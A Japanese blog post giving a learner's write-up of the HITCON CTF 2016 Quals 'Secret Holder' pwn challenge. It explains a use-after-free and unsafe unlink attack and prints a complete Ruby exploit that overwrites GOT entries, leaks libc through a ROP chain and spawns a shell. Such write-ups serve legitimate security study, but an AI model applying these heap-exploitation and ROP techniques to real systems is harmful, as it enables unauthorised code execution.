読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

HITCON CTF2016 Quals Secret Holder (pwn 100)

Pwncampでやった問題 其の壱(になる予定だったが実質終えたのはこれしかない) 実力不足だからか100点に思えなかった.

下調べ

  • 64bit, dnyamically link, stripped
  • Partial RELRO, No PIE
  • libcはわかってることにした

解析

主に以下の3つのコマンドが存在する.

  1. 3種類あるサイズから選んで1つmallocする
  2. 3種類あるサイズから選んで1つfreeする
  3. 3種類あるサイズから選んで1つ適切なサイズ分readする

(※サイズは,Smallが0x40, Bigが0x4000, Hugeが0x400000となっている.) それぞれのサイズで管理用大域変数があり,それで二回連続のmallocができないようになっている.

glibcmallocでは閾値以上のサイズのmallocをするとヒープ領域とは違うところにマッピングされるのだが,そこを解放し,再度mallocするとヒープ領域に確保されるという仕組みがある.今回でいえば,Hugeのmallocがこれに該当する.
また,mallocの戻り値を格納する大域変数はfree後にNULLにしていないところ,freeの際には管理用大域変数を見て判断していない点などからUAFに持ち込むことができる.

Exploit

UAFを用いてunsafe unlink attackにまずはもっていく.small用のヒープのアドレスがはいる大域変数より下にはbigやhugeのもあるので,small用のヒープのアドレスがはいるところをunlink attackで,small用のヒープが入る大域変数より小さいアドレスとかにできれば,readの処理の際にOverflowさせて,bigやhugeの指す先をGOTなどに書き換えることができる.そうすれば,bigやhugeに対しても同様にread操作を行うことでGOT Overwriteが可能となる.

以下にexploitを示す.

#!/usr/bin/env ruby
# coding: utf-8
require 'pwnlib'

host = 'localhost'
port = 8888

def keep(t, id, msg)
  t.recv_until("Renew secret")
  t.sendline("1")
  t.recv_until("Huge secret")
  t.sendline(id.to_s)
  t.recv_until(": \n")
  t.sendline(msg)
end

def wipe(t, id)
  t.recv_until("Renew secret")
  t.sendline("2")
  t.recv_until("Huge secret")
  t.sendline(id.to_s)
end

def renew(t, id, msg)
  t.recv_until("Renew secret")
  t.sendline("3")
  t.recv_until("Huge secret")
  t.sendline(id.to_s)
  t.recv_until(": \n")
  t.send(msg)
end

PwnTube.open(host, port) do |t|

  small_ptr = 0x6020b0

  keep(t, 3, "")
  wipe(t, 3)
  keep(t, 1, "")
  wipe(t, 1)
  keep(t, 3, "") # huge == small
  wipe(t, 1)
  
  # P->fd->bk = P->bk
  # P->bk->fd = P->fd

  # small
  payload = "\x00" * 16
  payload << p64(small_ptr - 0x18) # fd
  payload << p64(small_ptr - 0x10) # bk

  # big
  payload << p64(0x20)
  payload << p64(0xfb0)
  payload << "\n"
  
  keep(t, 1, "")
  keep(t, 2, "")
  renew(t, 3, payload)
  wipe(t, 2) # small_ptr -> small_ptr - 0x18(big,huge,smallのポインタよりも8byte前)

  payload = "\x00" * 8     # padding
  payload << p64(0x602030) # memset@got -> read a lot
  payload << p64(0)
  payload << p64(0x602028) # __stack_chk_fail@got -> ret
  payload << p32(1) * 3

  renew(t, 1, payload + "\n")
  renew(t, 1, p64(0x400691)) # ret
  STDIN.gets
  renew(t, 2, p64(0x4009f9)) # read a lot

  pop_rdi = 0x400e03

  payload = "\x00" * 24
  payload <<  p64(pop_rdi)
  payload << p64(0x602048) # __libc_start_main@got
  payload << p64(0x4006c0) # puts@plt
  payload << p64(0x400cc2) # main

  t.recv_until("Renew secret\n")
  t.sendline(payload)

  libc_start_leak = t.recv(6).ljust(8, "\x00").unpack("Q")[0]
  libc_base = libc_start_leak - 0x20740
  libc_system = libc_base + 0x45390
  libc_binsh  = libc_base + 0x18c177
  
  payload = "\x00" * 24
  payload << p64(pop_rdi)
  payload << p64(libc_binsh)
  payload << p64(libc_system)

  t.recv_until("Renew secret\n")
  t.sendline(payload)

  t.shell
  
end

以下が結果である. f:id:encry1024:20170218112143p:plain

感想

閾値以上のサイズのmallocの戻り値をヒープ領域にするのは偶然見つけたのだが,free後にNULLが入っていないという基本的なことに気づかず,そこからの進展がなくて,writeupに頼った.久しぶりだったせいもあり,unlink attackがあいまいにしか理解してないことに気づいた.もうちょっと自分なりに復習して,しっかり理解しないといけないなぁという気分になった.

参考文献

https://gist.github.com/inaz2/732487ee170be9d8d2adf9cb50fe8d35

HITCON CTF Quals 2016 Writeup (Secret Holder & Babyheap) - ShiftCrops つれづれなる備忘録

CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 前編 - ヾノ*>ㅅ<)ノシ帳